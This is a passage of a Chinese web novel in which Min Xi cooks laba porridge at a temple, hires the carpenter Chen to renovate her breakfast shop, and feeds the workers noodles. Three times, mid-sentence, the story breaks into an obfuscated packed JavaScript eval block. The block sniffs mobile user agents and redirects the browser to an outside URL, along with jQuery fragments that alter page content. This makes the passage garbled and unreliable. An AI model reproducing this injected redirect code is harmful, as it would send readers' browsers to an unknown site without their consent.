闵晞见状笑着给她又打了一碗，还嘱咐她们烫，慢点喝。 因为腊八粥的美味，导致了不少人想喝第二碗，也造成了排队的现象发生，一不留神的工夫，人多的居然排到了山下。 其他不明所以的人来到了山下，见此情此景一问，都说是今年普罗寺的腊八粥十分好喝，便带着好奇喝怀疑的态度同大家一样从了众，慢慢排起了队。 等漫长的排队一点一点挪着到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808815|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们后，众人喝下那一碗沉甸甸的腊八粥，只道出“确实好喝”这四个字。 “人还多着呢，一眼望不到头。”闵晞这一忙就过了晌午，等她已经舀完了四桶粥后，见还有人在源源不断排队，那人头多的都只剩下了密密麻麻小黑点。 见状闵晞只内心感叹果然吃货哪里都有。 以往这普罗寺的腊八粥来喝的人大多只是讨个吉利，喝上两口就完事。只是今年轮到她做了这粥，来喝的人就特别多。喝了一碗不够还要喝两碗甚至三碗，甚至还有为了粥抢起来的事发生。 这种情况普罗寺的僧人也是第一次见。不过他们早上已经喝过了闵晞做的粥，确实美味至极，也不怪那么多人抢着喝。 幸好闵晞提前预判到了这种情况，本着宁多勿少的原则她又连忙让人去给后厨报信，让他们继续熬粥，千万别停，否则排队的人只会更多。 这样的火热情景一直持续到了下午，人才有渐渐稀少之意。中途闵晞又让人催着煮了两次，这才堪堪应对前来喝粥的人。 等忙完后，闵晞望着空空的粥桶，又想起自己这一天就喝了碗腊八粥，吃了几块腊八豆腐后就再没停下歇息过，眼下已是累到了极致。 忙完这茬后，闵晞刚回到后厨，就见平常跟在了无住持身旁的小僧走了过来，递给了她一个钱袋子，同时还有一副对联。 “今天真是谢谢闵施主了。”他向闵晞微微俯身：“了无住持也知道了外面发生的事，特让我来谢谢您。” 闵晞接过钱袋，只憨憨笑了两声：“不碍事的，本来就答应你们的事，自是要做好。” 小僧道：“了无住持还亲手写了一副对联让我赠予施主，还望施主收下。” 这等好物闵晞当然得收。能得到高僧的亲笔，在古代来说是一件多么珍贵的事，有多少人求都求不来。相比钱财，这墨宝值钱多了。 笑着收下后，闵晞在郭厨和旁人的恋恋不舍之下，收拾好贴身之物，离开了普罗寺。 等一离开，闵晞就打开了钱袋子，发现比当初约定的十两银子还要多上五两。想来是今天做的腊八粥给普罗寺攒了一波好口碑，也算是给之前的风波落下了一个帷幕。 闵晞后面依稀听得好像有几家权贵之人本来也想来喝上一碗，蹭个福气。但因为懒于排队，所以都没喝上。 没想一碗粥而已，也能引来这么多人凑热闹，想来还是因为免费的原因。 闵晞回家后，给家人也打包了一些腊八粥。这腊八粥易于吸收，有养心补脾的作用，多喝一点对身体好。家人们得了粥是一口不剩，连落在碗底的桂圆都吃了个净。就连闵彦都道本来今天想去普罗寺蹭个热闹，结果一到山脚下见那么多人，只好遗憾离场。 闵晞听了笑话他：“我就知道，我还能不知道你吗？我的懒哥哥。” 闵彦撇撇嘴：“那确实不能怪我，这几天你不在铺子里我老忙了，母亲可以做证！” 陶淑苑听了放下手里的碗：“彦儿大了，也知道主动帮人干活了。” 看着一家人在一起温馨的样子，闵晞也捧着手里香甜的腊八粥，嘴角挂起了幸福的笑容。 25. 第 25 章 俗话说，过了腊八就是年。随着年味的悄然临近，各家各户都挂起了春联，缝起了新衣。更有甚者还给小孩买了一些小炮仗玩。有的时候院外时不时会响起一串噼里啪啦的声音，把大黄惹得汪汪直叫。 闵晞家也不例外。 那天她抽空本想把了无住持写的春联挂出来，但陶淑苑却有点担心。 “晞儿，了无住持墨宝难得，咱们贴在外面不一定守得住，万一被人偷了怎么办？要不然还是珍藏起来吧。” 闵晞一听也有道理，这个世界没有摄像头可看，也没有指纹可查，万一有心人看上了，东西说偷也就偷了。这么想来一想遂又把了无住持的墨宝收了回去，压在箱底，全当集福了。 至于对联，闵彦倒是写了几副，但也就比普通人好上了那么一点。闵晞自己也试着写了些，虽然有进步，但和闵彦的水平也是不相上下。于是也放弃，让闵彦随便写写挂上去得了。 除了这些，闵晞还和母亲一起去集市买了些腊肉香肠回家存着。之前买的都吃完了，这一趟出去闵晞多买了点，想着到时候犯懒可以做腊肉饭或者炒菜吃。 只不过这腊肉香肠因为临近过年，价格也是贵了不少。闵晞回去的路上同母亲商议着，等明年有空了自己做，今年实在是抽不出时间，要不然肯定自己做得更好吃。 回家后闵晞抽空去看了看大呆，陪它玩了一会儿，又掐指一算。自己到这里来已快半年，当初的犹豫和彷徨都随着时间慢慢消散，眼下她心里只想着挣钱二字。 之前赚的钱虽然都补贴了家里和店里，到手的钱几乎很快都花了出去。但闵晞之前在普罗寺得了十五两银子，自己又藏了一点小金库，所以零零散散有了二十多两银子傍身。 这些钱对普通人来说已经算多的了，但对闵晞来说还差了点。 因为她一直想把自家的小店好好装修一番，按照她自己所想的画面，这一番改造肯定得花不少钱。 眼下临近年关，到时店里肯定要休整一段时间，所以闵晞想趁着这个时间去打听打听价格。 之后闵晞同家里人告诉了自己的想法，想着找几个匠人，将自家店铺装修一番。如果剩余的钱还够，便把店里的桌椅板凳也都重新换一换。 听了闵晞的话，闵达彬开始还有些不同意：“这得花多少钱？我们家好不容易才赚了点钱，怎么又要撒出去？” 闵晞看向闵达彬：“爹爹，我这个想法不也是为了以后可以赚更多的钱吗？” “你想等铺子焕然一新后，愿意上门的人岂不是更多了。到时我再多做几道新早点出来，钱不是很快就回来了。” 闵达彬本来还有些不愿，但在闵晞保证和母亲的劝说下，他还是勉勉强强同意了。毕竟自从闵晞经营起了早点铺后，家里的日子确实越过越好了，他们现在几乎每天都可以吃上肉，日子再不像之前那么紧紧巴巴。 这一切都要多亏了女儿能干。 后面几天闵达彬四处打听哪里的工匠手艺好，哪里的桌椅板凳卖得便宜。 等左一圈右一圈都看过后，闵达彬还是最喜欢陈老匠的手艺。 闵晞之前也听过陈老匠的名声，知道他家手艺好，但是价格却贵了些。 虽然价格贵，但如果能物有所值，那贵点也就贵点吧。于是闵晞和闵达彬抽空专程去陈老匠家看了看。 到了陈老匠家外，闵晞从外见院子里摆了不少原材料和半成品，里面依稀还能听见儿童的欢声。 进门后，闵晞见一小女孩在院中玩耍着，再仔细一看，不就是那天来她铺子里买羊肉汤的那个小女孩吗？ 小女孩也在这时看见了闵晞，还笑盈盈地朝她跑了过来，甜甜地喊了声姐姐。 同小女孩打了招呼后，闵晞见陈老匠虽然身形精瘦，头发一半灰白，鬓角甚至还夹杂了些许木屑。但因为常年做活的原因，身上筋骨结实，像是一株饱经风霜却依然挺立于风中的松柏。常年与木料打交道的手掌宽厚粗糙，深深的掌印如同树的年轮一般刻画出岁月的痕迹。一看就经验丰富，是这方面的好手。 这个想法在见到陈老匠院中所做的东西后，闵晞便更加确定了。 果真是一分钱一分货，这陈老匠家做出来的东西就是比别家的好。 双眼确定后，闵晞当即带着陈老匠去看看她家的铺子，想让他看看怎么装修，怎么改造。 在看过闵晞的铺子后，陈老匠是连连叹气，直至围着铺子连转了三圈。每转一圈，左敲敲右敲敲，这陈老匠脸上的褶子便更深了。 “你这铺子这么烂，是怎么还有人愿意来吃饭的？” “要是我连看都不愿意看一眼。” “那屋顶上的陶瓦碎的碎，破的破，指不定哪天掉下来砸着人。” 闵晞年纪小，被这么一批脸上着实有点挂不住。不过闵达彬本身就是个老油条，对这些话只当左耳朵进右耳朵出。 “东西做得好吃不就行了，店修得那么好看又不能拿来吃。” 陈老匠听完哼了两声，直接上手从蒸笼里拿了个馒头出来吃。 “不过这么烂的铺子也有一个好处，就是当贼的来了或许都会因为可怜你而丢下两个铜板。” “哎你这人怎么说话的……” 眼看情况不好，闵晞赶忙插嘴：“那您看这应该怎么装呢？价钱方面又几何呢？” 陈老匠吃完那个馒头后，慢条斯理道：“好说，就没有我修不好的东西。只是价格方面嘛……” 陈老匠思索了一下，说了个数，闵达彬当即就跳起来了。 “你这也太贵了，咱家哪有那么多钱？” “这么大一个活，我一个人怎么干得过来？自然是要叫上几个徒弟的，那几个徒弟不也要养家。”陈老匠解释道：“而且你这也快过年了，我那些徒弟愿不愿干还是一回事呢。” 陈老匠提出了三十两的装修费用。这个价格确实比闵晞想的贵了不少，如果要是把钱给出去的话，那家里又没几个余钱了。 但闵达彬不管这些，仍然喋喋不休说了一大堆糙话。闵晞看不下去把闵达彬拽去了一边，然后好言好语对陈老匠道：“陈师傅您别介意，我爹爹就这个性子，别管他。” 陈老匠看了看闵晞，脸上似笑非笑：“你倒是懂事。” 闵晞只继续问，“那这大概要修多久呢？” 陈老匠回头看着铺子，对天想了想：“如果不包括打造桌椅的话，快则七八日，慢则十日左右。如果你想把店里的桌椅都换了再开张，那最少半个月。” 时间长短倒是没什么，反正那时候都在过年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827258|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大部分店里都会歇上十天半个月，有些要回乡的，甚至更久。 闵晞又试探着：“那这价格方面还能再少点吗？您也知道我家铺子这么破也是因为兜里没几个子。这好不容易赚了点钱，家里还想着留几个买菜钱呢。” 看闵晞瘦瘦小小又实在真诚的样子，陈老匠是想不出那样一个老油条的爹是怎么养出这样一个聪明懂事好女儿的。陈老匠叹了口气，又从蒸笼里拿了一个馒头：“那这样吧，给你便宜点，但你要包了我们这几日做活的饭。” “你之前做的羊肉汤味道不错，这馒头也尚可，怪不得这么烂的铺子也有人来吃呢。” 见陈老匠松口后，闵晞自是开心不已：“那当然，您放心，这几日的饭菜我包了，保证顿顿有肉，绝不饿着你们。” 和陈老匠说好之后，闵晞先是给了一半的钱，另一半等完工后再给。加上他们也要准备几日，所以二人定好五日后开工。 有了确切的日期，闵晞便提笔在纸上写着铺子五日后因过年要休店半个月，还望大家互相转告，不要走空。 纸贴上去以后，路过的人有些驻足看看，有些看也不看拿了吃食便走。 这阵子忙完后，闵晞做了饭去亲自去了一趟符黎家，告诉她自己店铺要歇业装修的事。 “不过给公子送的饭是不会落下的。”说完后闵晞又补了一句：“等歇业了，甚至可以给公子每隔三日送一次饭。” 符黎对此十分感谢：“那符某真是感激不尽，一直以来真是麻烦闵老板了。” 闵晞想这都是小事，哪有麻不麻烦一说。再说符黎每次钱给得不少，非要说这装修店铺的钱里也有一部分是符黎赞助的呢。 谈话间闵晞见她来的时候符黎正在写字，便一时兴起，“公子可否看看最近我写的字？帮我指点一二？” 符黎听了：“这有何妨，闵老板请。” 说着闵晞借了符黎的纸笔，端正姿态，一笔一画慢慢写着。 只一摸，闵晞就发现这符黎买的纸笔和她平日里用的便宜货不一样。 虽然笔杆无装饰，但笔毫吸墨饱满，蓄墨均匀，下笔十分流畅。想来是用的来自宣州的宣笔。至于这墨，比她用的墨色泽更明亮，且下笔不晕，应该是用的油烟墨，闻着还有一股淡淡的香料味。 再一看去，就连配套的笔洗和水盂都不是凡品。相比起这清简的小屋和他朴素的衣袍，符黎倒是很舍得在文房四宝上花钱。 哦吃方面也是。 在闵晞写完字后，符黎拿起来看了看，不一会便道比之前有了很大的进步。 见符黎这般夸赞，闵晞很高兴：“说来这都是托了您的福，要不是公子之前给我介绍了一些书籍和临帖，我也不至于像个无头苍蝇似的不知该从何下笔。” 符黎笑笑，眼角随之微微下垂，看起来就像小狗一样可爱。再配上如书卷般的温柔的语气：“闵老板夸张了，只是可惜这早点铺要关上小半个月，这期间不知道有多少人吃不到闵老板做的早点了。” 闵晞听了直言：“这也是因为老店实在是太破旧了，陈老匠同我说过如果再不修一修，小心那瓦都要掉下来砸着人，所以想着趁过年期间装修一番。到时候也会上新的早点，还望公子前来品尝。” “这是一定。” 26. 第 26 章 因为提前告知了前来的客人要休店一事，闵晞本以为客人会慢慢减少，结果后面几天来店里的客人却只多不少，而且一次就是八个十个起买。 她一问才知道大家是想着多买一点拿回家囤着吃，冬天买得多也不怕坏，早上不知道吃什么的时候烧水蒸一下就好，可以说是方便又快捷。 闵晞这才回味过来，古代对于节日还是很看重的，不像现代条件好了，年味也越来越少，不少店铺大年初一都在上班。在这个时代，大家辛苦忙碌了一年，就等着这期间好好休整一番呢。有的店铺名气大，资历深，甚至休店更久，要过了元宵才开张。 所以现在来她店里的客人都是提前来囤货的。 忙忙碌碌过了五日，闵晞终于不用再早起做生意，而是好好睡了一个饱觉，直到日上三竿才起。 装修房子的事有爹爹和哥哥盯着，所以她并不担心。但因为还要给工人们做饭，所以闵晞还是不能完全休息。 因着前几日陈老匠打算先把店的门头整修一番，所以后厨还是干净的，闵晞便还是先在铺子的后厨做饭。 只是苦了杨霜，要承受他们装修而产生的魔音。 不过杨霜说自己睡眠好，不在乎这些。之前住茅草房的时候一屋子人打鼾的打鼾，磨牙的磨牙，别提多吵闹了。况且他们只是白天吵，晚上就不做活了，所以也不影响她什么。 “倒是这段时间休息，我也没什么事干，还白吃白住你的呢。” 闵晞不这么觉得，她觉得杨霜来了以后她和母亲都轻松了不少。而且杨霜学得很努力，她也很喜欢，决定等这次装修完成后，就给杨霜开月钱。 说回这些工人，闵晞已经提前想好了要给他们做什么吃的。对于经常做活的工人来说，最主要的一个点就是量大管饱，重油重盐，要不然饿着肚子可怎么干活呢？ 看着眼前来来往往如火如荼干着活的工人，闵晞想了想，决定今天先做个简单的油泼面。 这次闵晞就不劳烦杨霜决定自己做，毕竟手艺活还是要经常锻炼锻炼，免得日子一长就生疏了。 先是往面粉里加点糖，然后一点一点慢慢加水，搅拌成絮状，再揉面团。揉好后先等上一刻钟，再继续揉第二遍和第三遍。重复三次以后面团已经非常光滑，接着就可以把面条搓成长条，然后开始擀面。 面的口感是否筋道就在此一举。 先用擀面杖在面皮中间按一下，两手分别抓住面皮两头，将面皮一点一点地拉长，期间再反复摔打。等做好后，把扯面沾上面粉放在一边等待烧水。 等水开放入面条，在快煮熟的时候放入豆芽和菘菜。等熟了后把面条呈出来，倒入切好的葱花、蒜末、两勺生抽、一勺醋、半勺盐和糖，又撒上白芝麻和茱萸粉，就算成功一半了。 只是光有面和菜那还不够，必然得来点肉。所以闵晞还炒了肉酱，在每一份面里浇上了满满一勺的肉酱。 至于这肉酱是怎么做的，也很简单。先是挑三块三肥七瘦的猪肉，切成小肉丁，再准备好葱姜蒜和豉酱。接着锅里添油，把小料炒香，再加入肉丁不断翻炒直至断生。再加入用黄豆发酵制成的豆酱和老抽，接着倒入适量水，转小火慢慢烧开，最后再用白糖和盐调味即可。 等前面准备工作做好后，就剩下最后一个步骤，也就是泼油了。 油泼的油要提前用炸过葱和花椒的油来泼，那样才会香。等大火烧至油冒烟就证明油已经烧好了。 闵晞端着不轻的锅移到碗旁，只听得‘滋啦’一声，滚烫的热油泼在了面上，瞬间腾起一股浓郁的白烟。多种复合调料混在一起，香味瞬间爆发开来。随风散出去的香味惹得干活的工人都渐渐停了下来，往后厨看去。 “饿了就来吃饭吧，闵晞见也到中午了，便招呼着他们过来吃饭。” 陈老匠和其余年轻人闻着味就走了过来，看着碗里的面宽而薄厚均匀，每一根都包裹着调料，再搭配上翠绿的菘菜和金黄的豆芽，和满满一勺的肉酱，活像一幅泼墨重彩的画。 “这味道倒是勾人，”陈老匠端过面，看了两眼：“颜色也好看。” 闵晞挑眉道：“味道也好吃呢，您尝尝。” 说着陈老匠洗了手后坐下用筷子搅了搅碗，挑起一根一指宽裹满了调料的面条，张口吃下。 入口先是尝到了面条的爽滑筋道，舌头咬下去富有嚼劲，接着陈醋的酸、蒜末的冲、茱萸的烈、生抽的鲜，口感丰富得让人陶醉，每一口都满是满足。 陈老匠活这么大还是第一次吃如此霸道的面，只吃了一口，手便抬起了碗大快朵颐。 其余人见陈老匠都吃得如此夸张，便也顾不得烫，抄起筷子把面搅拌来搅拌去。转眼间红油均匀裹满每一条褶皱，泛着诱人光泽。吸溜一口，额角立刻沁出细汗，却停不下筷子，只含糊嘟囔着：“好吃，确实好吃” 看他们吃得如此迅速，闵晞都怕不小心呛着，还做了一锅蔬菜汤给他们一一端过去：“小心着点，喝碗菜汤顺顺喉咙。” 旁人顾不上喝汤，只一心想着吃面。明明早上还吃了这小娘子的馒头，味道挺好，没想到这做的面食也如此好吃。 一碗下肚，吃的人是通体舒畅，甚至还有人没吃饱，想着再来一碗。 闵晞应着：“不够吃还有，不要着急，慢慢吃。” 托了闵晞的福，杨霜和闵达彬及闵彦也是吃得满嘴流油，嘴里鼓鼓的。 “你们少吃一点！”闵晞好心提醒道：“是谁上次上火了，喝了好几天的金银花茶和清粥小菜才缓过来。” 话是说出了口，可是那两人还是像没吃过饭似的，吃得比工人们还快。闵晞又往杨霜看去，发现她也不比那两人慢，见状闵晞只能叹气，心想吃快了对身体不好。 因着伙食好吃，大家干活都有力，闵晞眼见着自家破败的小店一点一点地变得漂亮了不少。 第一天做了油泼面受到了大伙的一致好评，所以后面几天闵晞想着方便，于是做的都是面，就这么一做几乎是把陕西出名的面都给复刻了出来。 像是臊子面、BiangBiang面、裤带面等接连做了个遍。 中间有一次符黎还带着礼过来了，说是去了集市一趟想采买些东西，买完后想着不远就顺道过来看看，便让双瑞拿着东西先回去了。 等符黎走近了便听见前面传来叮呤哐啷的声音。彼时闵晞正在外面看着那些站在屋檐上的工人补着瓦，生怕他们不小心摔下来。 扭头见符黎来了，闵晞脸上不自觉露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847168|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊喜的神色。 “符公子怎么来了？” 符黎见状说了来意，然后递给了闵晞一提刚从饴酥坊买来的糕点。 “公子真是太客气了。”见符黎礼都拿来了，闵晞也不端着，大大方方接下，然后同符黎说了目前的进度。 “这么说年后就可以正常开业？” “大差不差吧？”闵晞说着：“等着装修完了肯定还要将整个店铺打扫一番，透透气散散味，估计也要两三天的时日。” 二人聊着这间小铺子，等时候差不多了，闵晞也该去做饭了，她见自己手上提着的糕点，顺手留了符黎吃饭。 “不碍事的，你看这里这么多人，也不差公子一个人的，不忙的话还是留下一起吃饭。” “也算是谢谢你之前的辅导之恩。” 见闵晞热情的模样，符黎也是却之不恭，大大方方留下来吃了饭。只是这一吃，他也和其他人一般，连着吃了三碗面才放下筷子。 “闵老板面食也做得如此好吃，我今日可真是有口福了。”符黎吃完后，连连赞道。 说着还准备掏钱出来，被眼尖的闵晞当场拒绝了。 “公子可使不得，不过就是一碗面，值不了几个钱，哪有您借的书本昂贵？” “而且您不是还送了糕点吗？我这权当是回礼了。” 拒绝再三，符黎终于把钱收了回去。 还有七八日就要过年了，这几日店里紧赶慢赶天天都在赶进度，想争取年前就把铺子装完，剩下的桌椅物件便等年后再来。 同样的店里的工人们依旧没把面吃腻，每次吃完都还想再吃，也搞得家里面粉告急。闵晞只得让闵彦去粮油铺招呼一声，让他们再送些过来。 “真是奇了怪了，你们家最近不是休店了吗？怎么还需要那么多米面？”王姨颇有几分好奇。 闵彦老老实实回答了，王姨听了忍俊不禁：“真的？你们家妹儿做面试竟也如此好吃？那改天我也要去尝尝。” 闵彦道：“好吃是好吃，但主要也是那些工人太能吃了，一人能吃三碗，简直顶不住。” “那也是你妹妹手艺好，要不别人怎么能吃那么多。”王姨细细端详了一下闵彦的脸：“确实是好吃，眼瞅着你的脸圆了一点。” 听完这话闵彦摸了摸脸，又摸了摸肚子，好像是又胖了那么一点。之前跟着闵晞日子渐渐好起来后，他身子也不再那般消瘦。后面在店里帮忙，他也就一直保持着正常的身形。 这会工人虽然吃得多，但是他们一天都在做活，而自己则因为休店了每天无所事事，加上天冷他吃饱了就不想不动弹，这能不胖吗？ 不过闵彦以前也是个瘦猴子，胖点反而更好看了一点。 但闵彦还是痛定思痛，心想以后可不能再那么吃了。于是和王姨道别后，一溜烟地小跑回了家，也算是运动了。 眼瞅着铺子已快装修了一大半，那些破的地方是补的补，拆的拆，店里一天到晚敲得叮当响。 期间也有不少不知情的人准备过来吃饭的，皆被闵晞告知店铺在装修，还请年后再来。 瞧着家里一袋一袋消耗完的面粉袋子，闵晞心想好在这样的日子马上要结束了，要不然闵晞真觉得要养不起这些工人了。